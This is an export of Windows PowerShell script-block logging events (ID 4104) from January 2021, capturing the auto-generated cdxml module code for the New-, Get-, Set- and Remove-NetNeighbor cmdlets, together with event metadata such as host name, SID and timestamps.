Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1808 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-e92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('IPAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPAddress})
$__cmdletization_queryBuilder.FilterByProperty('IPAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('LinkLayerAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LinkLayerAddress})
$__cmdletization_queryBuilder.FilterByProperty('LinkLayerAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('State') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${State})
$__cmdletization_queryBuilder.FilterByProperty('State', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedIPInterface') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedIPInterface}, 'MSFT_NetIPInterfaceNeighbor', 'Antecedent', 'Dependent', 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:DeleteInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetNeighbor.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-NetNeighbor' -Alias '*'
ScriptBlock ID: 4b3e0528-62fa-4e3b-9c6f-ea629235a64e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1807 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-e32a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
}
}
# .EXTERNALHELP MSFT_NetNeighbor.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'New-NetNeighbor' -Alias '*'
function Get-NetNeighbor
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetNeighbor')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${IPAddress},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${LinkLayerAddress},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State[]]
${State},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetIPInterface')]
[ValidateNotNull()]
[ciminstance]
${AssociatedIPInterface},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('IPAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPAddress})
$__cmdletization_queryBuilder.FilterByProperty('IPAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('LinkLayerAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${LinkLayerAddress})
$__cmdletization_queryBuilder.FilterByProperty('LinkLayerAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('State') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${State})
$__cmdletization_queryBuilder.FilterByProperty('State', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AssociatedIPInterface') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.FilterByAssociatedInstance(${AssociatedIPInterface}, 'MSFT_NetIPInterfaceNeighbor', 'Antecedent', 'Dependent', 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetNeighbor.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetNeighbor' -Alias '*'
function Set-NetNeighbor
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetNeighbor')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${IPAddress},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State[]]
${State},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetNeighbor')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[string]
${LinkLayerAddress},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('IPAddress') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${IPAddress})
$__cmdletization_queryBuilder.FilterByProperty('IPAddress', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceIndex') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceIndex})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceIndex', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceAlias') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceAlias})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceAlias', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('State') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${State})
$__cmdletization_queryBuilder.FilterByProperty('State', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('AddressFamily') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${AddressFamily})
$__cmdletization_queryBuilder.FilterByProperty('AddressFamily', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PolicyStore') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('PolicyStore', ${PolicyStore})
}
if ($PSBoundParameters.ContainsKey('IncludeAllCompartments') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeAllCompartments', ${IncludeAllCompartments})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('LinkLayerAddress')) {
[object]$__cmdletization_value = ${LinkLayerAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LinkLayerAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LinkLayerAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetNeighbor.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetNeighbor' -Alias '*'
function Remove-NetNeighbor
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetNeighbor')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${IPAddress},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[ValidateNotNull()]
[uint32[]]
${InterfaceIndex},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[ValidateNotNull()]
[string[]]
${InterfaceAlias},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[string[]]
${LinkLayerAddress},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State[]]
${State},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily[]]
${AddressFamily},
[Parameter(ParameterSetName='ByName', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#root/standardcimv2/MSFT_NetIPInterface')]
[ValidateNotNull()]
[ciminstance]
${AssociatedIPInterface},
[Parameter(ParameterSetName='ByName')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByName')]
[switch]
${IncludeAllCompartments},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetNeighbor')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
ScriptBlock ID: 4b3e0528-62fa-4e3b-9c6f-ea629235a64e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1806 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-e32a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetNeighbor'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function New-NetNeighbor
{
[CmdletBinding(DefaultParameterSetName='ByInterfaceAlias', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance[]])][OutputType([Microsoft.Management.Infrastructure.CimInstance[]])]
param(
[Parameter(ParameterSetName='ByInterfaceAlias', Mandatory=$true, Position=0)]
[Parameter(ParameterSetName='ByInterfaceIndex', Mandatory=$true, Position=0)]
[string]
${IPAddress},
[Parameter(ParameterSetName='ByInterfaceAlias', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias')]
[string]
${InterfaceAlias},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[string]
${LinkLayerAddress},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[string]
${PolicyStore},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State]
${State},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.AddressFamily]
${AddressFamily},
[Parameter(ParameterSetName='ByInterfaceIndex', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifIndex')]
[uint32]
${InterfaceIndex},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByInterfaceAlias')]
[Parameter(ParameterSetName='ByInterfaceIndex')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByInterfaceAlias') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPAddress')) {
[object]$__cmdletization_value = ${IPAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceAlias')) {
[object]$__cmdletization_value = ${InterfaceAlias}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceAlias'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceAlias'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('LinkLayerAddress')) {
[object]$__cmdletization_value = ${LinkLayerAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LinkLayerAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'LinkLayerAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PolicyStore')) {
[object]$__cmdletization_value = ${PolicyStore}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PolicyStore'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('State')) {
[object]$__cmdletization_value = ${State}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'State'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'State'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetNeighbor.State'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressFamily')) {
[object]$__cmdletization_value = ${AddressFamily}
